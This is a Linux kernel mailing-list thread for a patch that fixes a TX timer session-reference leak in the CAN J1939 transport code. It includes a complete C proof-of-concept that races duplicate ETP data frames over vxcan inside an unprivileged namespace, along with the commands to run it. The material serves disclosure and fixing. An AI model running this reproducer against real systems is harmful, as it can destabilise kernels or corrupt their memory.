* [PATCH net v4 0/1] can: j1939: fix TX timer reference leak
@ 2026-11-01 6:35 Zihan Xi
2026-11-01 6:35 ` [PATCH net v4 1/1] " Zihan Xi
0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-11-01 6:35 UTC (permalink / raw)
To: llvm, linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, ecathinds, dev.kurt,
maxime.jayat, bst, nathan, ndesaulniers, morbo, justinstitt, vega,
zihanx, lkp
Hi Linux kernel maintainers,
We found an issue in net/can/j1939/transport.c.
The bug is reachable by a user who can create user and network namespaces
and send CAN frames to a J1939 receiver.
The relevant details are provided below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)
Bug details:
Restarting an already queued TX hrtimer changes its expiry but does not
create another callback to release another session reference. Repeated
scheduling can therefore leak references. The baseline trace excerpt below
shows two starts of the same timer before one callback; the second start
reports was_armed=1:
poc-389 [001] ..s1. 200.601373: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
poc-390 [000] ..s1. 200.601375: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
poc-389 [001] d.s2. 200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
poc-390 [000] d.s2. 200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1
poc-390 [000] ..s1. 200.601429: hrtimer_expire_entry: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer now=200464882582
poc-390 [000] ..s1. 200.601430: txtimer_callback: (j1939_tp_txtimer+0x4/0xe70) timer=0xffffa3da4a2bc4b8
The recorded baseline run completed with POC_EXIT=0. The trace demonstrates
the timer restart behavior; it did not produce a crash, and no crash log is
available.
Changes in v4 (since the posted v3 series):
- Limit this series to TX timer reference ownership.
- Track queued-timer and running-callback pins separately.
- Keep synchronous timer waiting outside the timer-state lock.
- Drop unrelated RX timer, TX shutdown-send, queue, and context-analysis
changes from this series.
This patch does not address the separate RX timer reference race or the
TX-send-after-shutdown race.
Link: https://lore.kernel.org/all/cover.1793259424.git.zihanx@nebusec.ai/
Reproducer:
The trigger uses raw CAN frames over namespace-local vxcan peers and a
concurrent duplicate-frame burst; packetdrill does not model this
CAN/J1939 device topology.
Compile the reproducer with:
gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c
Run it as an unprivileged account with user/network namespace support:
unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The PoC creates four 2 MiB ETP sessions and concurrently sends duplicate
terminal DATA packets over a vxcan pair.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif
#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100
#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700
#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14
#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U
struct params {
const char *tx_ifname;
const char *rx_ifname;
uint32_t session_size;
uint32_t sessions;
uint32_t threads;
uint32_t duplicates;
bool verbose;
};
struct can_burst {
struct can_frame *frames;
struct mmsghdr *msgs;
struct iovec *iovecs;
unsigned int nframes;
};
struct worker_ctx {
int fd;
int cpu;
struct can_burst burst;
};
static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;
static void die(const char *what);
static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
unsigned int flags)
{
return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}
static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
unsigned int vlen, const char *what)
{
unsigned int sent = 0;
while (sent < vlen) {
int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);
if (ret < 0)
die(what);
if (!ret) {
errno = EIO;
die(what);
}
sent += ret;
}
return sent;
}
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
int ret = pthread_barrier_wait(barrier);
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
errno = ret;
die(what);
}
}
static unsigned int parse_u32(const char *arg, const char *what)
{
char *endp;
unsigned long value;
errno = 0;
value = strtoul(arg, &endp, 0);
if (errno || *endp || value > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", what, arg);
exit(EXIT_FAILURE);
}
return (unsigned int)value;
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
perror("pthread_setaffinity_np");
}
static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
canid_t can_id;
can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
if (((pgn >> 8) & 0xff) < 240)
can_id |= (canid_t)da << 8;
return can_id;
}
static int ifindex_by_name(const char *ifname)
{
unsigned int ifindex = if_nametoindex(ifname);
if (!ifindex) {
errno = ENODEV;
die("if_nametoindex");
}
return (int)ifindex;
}
static int make_raw_socket(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
};
int fd;
int one = 1;
fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (fd < 0)
die("socket(CAN_RAW)");
if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
sizeof(one)) < 0)
die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_RAW)");
return fd;
}
static int make_j1939_listener(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
.can_addr.j1939 = {
.name = 0,
.pgn = J1939_NO_PGN,
.addr = LOCAL_SA,
},
};
int fd;
fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (fd < 0)
die("socket(CAN_J1939)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_J1939)");
return fd;
}
static void send_frame(int fd, const struct can_frame *frame)
{
ssize_t written = write(fd, frame, sizeof(*frame));
if (written != (ssize_t)sizeof(*frame))
die("write(can_frame)");
}
static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t size, uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_RTS;
frame->data[1] = (size >> 0) & 0xff;
frame->data[2] = (size >> 8) & 0xff;
frame->data[3] = (size >> 16) & 0xff;
frame->data[4] = (size >> 24) & 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_DPO;
frame->data[1] = FIRST_BLOCK_PKTS;
frame->data[2] = 0;
frame->data[3] = 0;
frame->data[4] = 0;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_ABORT;
frame->data[1] = 1;
frame->data[2] = 0xff;
frame->data[3] = 0xff;
frame->data[4] = 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
frame->len = 8;
frame->data[0] = FIRST_BLOCK_PKTS;
memset(&frame->data[1], 'Z', 7);
}
static void free_burst(struct can_burst *burst)
{
free(burst->iovecs);
free(burst->msgs);
free(burst->frames);
memset(burst, 0, sizeof(*burst));
}
static void drain_raw_rx(int fd)
{
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
for (;;) {
struct can_frame frame;
int ret = poll(&pfd, 1, 0);
if (ret <= 0)
return;
if (read(fd, &frame, sizeof(frame)) < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return;
die("read(raw drain)");
}
}
}
static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t pgn, uint8_t cmd)
{
uint32_t frame_pgn;
uint8_t frame_sa;
uint8_t frame_da = J1939_NO_ADDR;
if (!(frame->can_id & CAN_EFF_FLAG))
return false;
frame_sa = frame->can_id & 0xff;
frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
if (((frame_pgn >> 8) & 0xff) < 240) {
frame_da = frame_pgn & 0xff;
frame_pgn &= J1939_PGN_PDU1_MAX;
}
return frame_sa == sa && frame_da == da &&
frame_pgn == pgn && frame->len >= 1 &&
frame->data[0] == cmd;
}
static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
bool verbose)
{
struct pollfd pfd = {
.fd = raw_fd,
.events = POLLIN,
};
struct timespec start;
if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
die("clock_gettime");
for (;;) {
struct can_frame frame;
struct timespec now;
int elapsed_ms;
int timeout_ms;
int ret;
if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
die("clock_gettime");
elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
(now.tv_nsec - start.tv_nsec) / 1000000);
timeout_ms = 1000 - elapsed_ms;
if (timeout_ms <= 0)
return false;
ret = poll(&pfd, 1, timeout_ms);
if (ret < 0)
die("poll(raw)");
if (ret == 0)
return false;
if (!(pfd.revents & POLLIN))
continue;
if (read(raw_fd, &frame, sizeof(frame)) < 0)
die("read(raw)");
if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
J1939_ETP_CMD_CTS)) {
if (verbose) {
printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
app_pgn, remote_sa);
fflush(stdout);
}
return true;
}
}
}
static void init_burst(struct can_burst *burst, unsigned int nframes)
{
memset(burst, 0, sizeof(*burst));
burst->nframes = nframes;
burst->frames = calloc(nframes, sizeof(*burst->frames));
burst->msgs = calloc(nframes, sizeof(*burst->msgs));
burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
if (!burst->frames || !burst->msgs || !burst->iovecs)
die("calloc(burst)");
}
static void finalize_burst(struct can_burst *burst)
{
unsigned int i;
for (i = 0; i < burst->nframes; i++) {
burst->iovecs[i].iov_base = &burst->frames[i];
burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
burst->msgs[i].msg_hdr.msg_iovlen = 1;
}
}
static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
uint32_t app_pgn)
{
unsigned int i;
init_burst(burst, FIRST_BLOCK_PKTS);
build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);
for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
remote_sa, LOCAL_SA);
burst->frames[i].len = 8;
burst->frames[i].data[0] = i;
memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
}
finalize_burst(burst);
}
static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
unsigned int duplicates)
{
unsigned int i;
free_burst(burst);
init_burst(burst, duplicates);
for (i = 0; i < duplicates; i++)
build_etp_terminal_data(&burst->frames[i], remote_sa);
finalize_burst(burst);
}
static void *worker_main(void *arg)
{
struct worker_ctx *ctx = arg;
pin_to_cpu(ctx->cpu);
for (;;) {
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
if (stop_workers)
break;
sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
"sendmmsg(worker)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
}
return NULL;
}
static void init_workers(struct worker_ctx *workers, pthread_t *tids,
int ifindex, unsigned int threads, int ncpus)
{
unsigned int i;
if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
die("pthread_barrier_init(start)");
if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
die("pthread_barrier_init(done)");
for (i = 0; i < threads; i++) {
workers[i].fd = make_raw_socket(ifindex);
workers[i].cpu = i % ncpus;
if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
die("pthread_create");
}
}
static void join_workers(struct worker_ctx *workers, pthread_t *tids,
unsigned int threads)
{
unsigned int i;
stop_workers = 1;
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");
for (i = 0; i < threads; i++) {
if (pthread_join(tids[i], NULL))
die("pthread_join");
free_burst(&workers[i].burst);
close(workers[i].fd);
}
pthread_barrier_destroy(&start_barrier);
pthread_barrier_destroy(&done_barrier);
}
static void run_session(int raw_fd, struct worker_ctx *workers,
uint32_t size, uint32_t threads, uint32_t duplicates,
uint32_t session_idx, bool verbose)
{
struct can_frame rts;
struct can_frame abort;
struct can_burst prefix = { 0 };
uint8_t remote_sa;
uint32_t app_pgn;
unsigned int i;
unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;
remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
app_pgn = APP_PGN_BASE + (session_idx % 0x100);
build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
send_frame(raw_fd, &rts);
if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
fprintf(stderr,
"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
session_idx, remote_sa, app_pgn, size);
exit(EXIT_FAILURE);
}
build_prefix_burst(&prefix, remote_sa, app_pgn);
/* Ensure the receiver processes DPO before the data packet burst. */
send_frame(raw_fd, &prefix.frames[0]);
usleep(1000);
sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
"sendmmsg(prefix)");
free_burst(&prefix);
for (i = 0; i < threads; i++)
build_terminal_burst(&workers[i].burst, remote_sa, duplicates);
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");
build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
send_frame(raw_fd, &abort);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
prog);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
struct params params = {
.tx_ifname = "vcan0",
.rx_ifname = "vcan0",
.session_size = DEFAULT_SIZE,
.sessions = DEFAULT_SESSIONS,
.threads = DEFAULT_THREADS,
.duplicates = DEFAULT_DUPLICATES,
.verbose = false,
};
struct worker_ctx *workers;
pthread_t *tids;
int ifindex;
int rx_ifindex;
int raw_fd;
int j1939_fd;
int ncpus;
unsigned int i;
if (argc > 8)
usage(argv[0]);
if (argc >= 2)
params.tx_ifname = argv[1];
if (argc >= 3)
params.rx_ifname = argv[2];
if (argc >= 4)
params.session_size = parse_u32(argv[3], "size");
if (argc >= 5)
params.sessions = parse_u32(argv[4], "sessions");
if (argc >= 6)
params.threads = parse_u32(argv[5], "threads");
if (argc >= 7)
params.duplicates = parse_u32(argv[6], "duplicates");
if (argc >= 8)
params.verbose = parse_u32(argv[7], "verbose") != 0;
if (params.session_size <= 1785) {
fprintf(stderr, "size must be > 1785 to force ETP\n");
return EXIT_FAILURE;
}
if (!params.sessions || !params.threads || !params.duplicates)
usage(argv[0]);
ncpus = sysconf(_SC_NPROCESSORS_ONLN);
if (ncpus < 1)
die("sysconf(_SC_NPROCESSORS_ONLN)");
workers = calloc(params.threads, sizeof(*workers));
tids = calloc(params.threads, sizeof(*tids));
if (!workers || !tids)
die("calloc(workers)");
ifindex = ifindex_by_name(params.tx_ifname);
rx_ifindex = ifindex_by_name(params.rx_ifname);
j1939_fd = make_j1939_listener(rx_ifindex);
raw_fd = make_raw_socket(ifindex);
init_workers(workers, tids, ifindex, params.threads, ncpus);
printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
params.session_size, params.sessions, params.threads,
params.duplicates);
fflush(stdout);
for (i = 0; i < params.sessions; i++) {
drain_raw_rx(raw_fd);
run_session(raw_fd, workers, params.session_size, params.threads,
params.duplicates, i, params.verbose);
if ((i + 1) % 16 == 0 || params.verbose) {
printf("completed %u sessions\n", i + 1);
fflush(stdout);
}
}
join_workers(workers, tids, params.threads);
close(raw_fd);
close(j1939_fd);
free(tids);
free(workers);
return 0;
}
------END PoC--------
Best regards,
Zihan Xi
Zihan Xi (1):
can: j1939: fix TX timer reference leak
net/can/j1939/j1939-priv.h | 7 ++
net/can/j1939/transport.c | 173 +++++++++++++++++++++++++++++++++++--
2 files changed, 172 insertions(+), 8 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net v4 1/1] can: j1939: fix TX timer reference leak
2026-11-01 6:35 [PATCH net v4 0/1] can: j1939: fix TX timer reference leak Zihan Xi
@ 2026-11-01 6:35 ` Zihan Xi
2026-11-01 7:00 ` sashiko-bot
0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-11-01 6:35 UTC (permalink / raw)
To: llvm, linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, ecathinds, dev.kurt,
maxime.jayat, bst, nathan, ndesaulniers, morbo, justinstitt, vega,
zihanx, lkp
Reuse the session reference owned by a queued TX timer when its expiry is
replaced. Track the queued timer and running callback references separately
so a concurrent rearm does not lose or duplicate the session pin.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 7 ++
net/can/j1939/transport.c | 173 +++++++++++++++++++++++++++++++++++--
2 files changed, 172 insertions(+), 8 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..6334192744a6 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
#define _J1939_PRIV_H_
#include <linux/can/j1939.h>
+#include <linux/spinlock.h>
#include <net/sock.h>
/* Timeout to receive the abort signal over loop back. In case CAN
@@ -290,6 +291,12 @@ struct j1939_session {
unsigned int dpo;
} pkt;
struct hrtimer txtimer, rxtimer;
+ /* qref pins a queued timer; cbref pins its running callback. */
+ spinlock_t txtimer_lock;
+ bool txtimer_qref;
+ bool txtimer_cbref;
+ unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+ bool txtimer_shutdown;
};
struct j1939_sock {
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..bf9021977d85 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -301,9 +301,74 @@ void j1939_session_put(struct j1939_session *session)
kref_put(&session->kref, __j1939_session_release);
}
-static void j1939_session_txtimer_cancel(struct j1939_session *session)
+static void j1939_session_txtimer_cancel(struct j1939_session *session,
+ bool shutdown)
{
- if (hrtimer_cancel(&session->txtimer))
+ bool put_qref = false;
+ int ret;
+
+ spin_lock_bh(&session->txtimer_lock);
+ session->txtimer_cancelers++;
+ if (shutdown)
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret == 1) {
+ if (!WARN_ON_ONCE(!session->txtimer_qref)) {
+ session->txtimer_qref = false;
+ put_qref = true;
+ }
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ /* Never wait for a softirq callback while holding txtimer_lock. */
+ if (ret < 0) {
+ ret = hrtimer_cancel(&session->txtimer);
+ if (ret == 1) {
+ spin_lock_bh(&session->txtimer_lock);
+ if (!WARN_ON_ONCE(!session->txtimer_qref)) {
+ session->txtimer_qref = false;
+ put_qref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+ }
+ }
+ spin_lock_bh(&session->txtimer_lock);
+ if (WARN_ON_ONCE(!session->txtimer_cancelers))
+ session->txtimer_cancelers = 0;
+ else
+ session->txtimer_cancelers--;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_qref)
+ j1939_session_put(session);
+}
+
+static bool
+j1939_session_txtimer_cancel_async_locked(struct j1939_session *session)
+{
+ int ret;
+
+ lockdep_assert_held(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret != 1)
+ return false;
+
+ if (WARN_ON_ONCE(!session->txtimer_qref))
+ return false;
+ session->txtimer_qref = false;
+ return true;
+}
+
+static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
+{
+ bool put_qref;
+
+ spin_lock_bh(&session->txtimer_lock);
+ put_qref = j1939_session_txtimer_cancel_async_locked(session);
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_qref)
j1939_session_put(session);
}
@@ -315,7 +380,7 @@ static void j1939_session_rxtimer_cancel(struct j1939_session *session)
void j1939_session_timers_cancel(struct j1939_session *session)
{
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, true);
j1939_session_rxtimer_cancel(session);
}
@@ -716,9 +781,51 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
{
- j1939_session_get(session);
+ bool queued;
+ int ret;
+
+ j1939_session_list_lock(session->priv);
+ if (session->state != J1939_SESSION_ACTIVE) {
+ j1939_session_list_unlock(session->priv);
+ return;
+ }
+
+ spin_lock(&session->txtimer_lock);
+ if (session->txtimer_cancelers || session->txtimer_shutdown) {
+ spin_unlock(&session->txtimer_lock);
+ j1939_session_list_unlock(session->priv);
+ return;
+ }
+
+ /* Replace the queued timer without taking another session reference. */
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret == 1) {
+ if (WARN_ON_ONCE(!session->txtimer_qref))
+ j1939_session_get(session);
+ session->txtimer_qref = true;
+ } else if (ret == 0) {
+ if (!session->txtimer_qref) {
+ j1939_session_get(session);
+ session->txtimer_qref = true;
+ }
+ } else {
+ /* The callback is running; preserve its pin and pin the rearm. */
+ queued = hrtimer_is_queued(&session->txtimer);
+ if (!queued && !session->txtimer_cbref &&
+ session->txtimer_qref) {
+ session->txtimer_qref = false;
+ session->txtimer_cbref = true;
+ }
+ if (!session->txtimer_qref) {
+ j1939_session_get(session);
+ session->txtimer_qref = true;
+ }
+ }
+
hrtimer_start(&session->txtimer, ms_to_ktime(msec),
HRTIMER_MODE_REL_SOFT);
+ spin_unlock(&session->txtimer_lock);
+ j1939_session_list_unlock(session->priv);
}
static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
@@ -1105,6 +1212,9 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
bool active = false;
lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
@@ -1126,6 +1236,8 @@ static bool j1939_session_deactivate(struct j1939_session *session)
j1939_session_list_lock(priv);
active = j1939_session_deactivate_locked(session);
j1939_session_list_unlock(priv);
+ if (active)
+ j1939_session_txtimer_cancel_async(session);
return active;
}
@@ -1161,15 +1273,23 @@ static void __j1939_session_cancel(struct j1939_session *session,
static void j1939_session_cancel(struct j1939_session *session,
enum j1939_xtp_abort err)
{
+ bool cancelled = false;
+
j1939_session_list_lock(session->priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_WAITING_ABORT) {
j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
__j1939_session_cancel(session, err);
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
+ cancelled = true;
}
j1939_session_list_unlock(session->priv);
+ if (cancelled)
+ j1939_session_txtimer_cancel_async(session);
if (!session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
@@ -1180,8 +1300,26 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
struct j1939_session *session =
container_of(hrtimer, struct j1939_session, txtimer);
struct j1939_priv *priv = session->priv;
+ bool can_rearm, shutdown;
+ bool put_cbref = false;
int ret = 0;
+ spin_lock_bh(&session->txtimer_lock);
+ if (!session->txtimer_cbref) {
+ if (WARN_ON_ONCE(!session->txtimer_qref))
+ j1939_session_get(session);
+ session->txtimer_qref = false;
+ session->txtimer_cbref = true;
+ }
+ shutdown = session->txtimer_shutdown;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ j1939_session_list_lock(priv);
+ can_rearm = session->state == J1939_SESSION_ACTIVE;
+ j1939_session_list_unlock(priv);
+ if (shutdown || !can_rearm)
+ goto txtimer_done;
+
if (session->skcb.addr.type == J1939_SIMPLE) {
ret = j1939_simple_txnext(session);
} else {
@@ -1232,7 +1370,20 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
}
}
- j1939_session_put(session);
+txtimer_done:
+ j1939_session_list_lock(priv);
+ can_rearm = session->state == J1939_SESSION_ACTIVE;
+ j1939_session_list_unlock(priv);
+ spin_lock_bh(&session->txtimer_lock);
+ if (session->txtimer_qref &&
+ (session->txtimer_shutdown || !can_rearm))
+ hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+ put_cbref = session->txtimer_cbref;
+ session->txtimer_cbref = false;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_cbref)
+ j1939_session_put(session);
return HRTIMER_NORESTART;
}
@@ -1486,7 +1637,7 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
if (session->pkt.tx_acked)
j1939_sk_errqueue(session,
J1939_ERRQUEUE_TX_SCHED);
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, false);
j1939_tp_schedule_txtimer(session, 0);
}
} else {
@@ -1540,6 +1691,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
skcb = j1939_skb_to_cb(skb);
memcpy(&session->skcb, skcb, sizeof(session->skcb));
+ spin_lock_init(&session->txtimer_lock);
hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
@@ -1810,7 +1962,7 @@ static void j1939_xtp_rx_rts(struct j1939_priv *priv, struct sk_buff *skb,
j1939_tp_set_rxtimeout(session, 750);
} else {
if (!session->transmission) {
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, false);
j1939_tp_schedule_txtimer(session, 0);
}
j1939_tp_set_rxtimeout(session, 1250);
@@ -2242,7 +2394,12 @@ int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
&priv->active_session_list,
active_session_list_entry) {
if (!sk || sk == session->sk) {
- if (hrtimer_try_to_cancel(&session->txtimer) == 1)
+ bool put_qref;
+
+ spin_lock(&session->txtimer_lock);
+ put_qref = j1939_session_txtimer_cancel_async_locked(session);
+ spin_unlock(&session->txtimer_lock);
+ if (put_qref)
j1939_session_put(session);
if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
j1939_session_put(session);
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net v4 1/1] can: j1939: fix TX timer reference leak
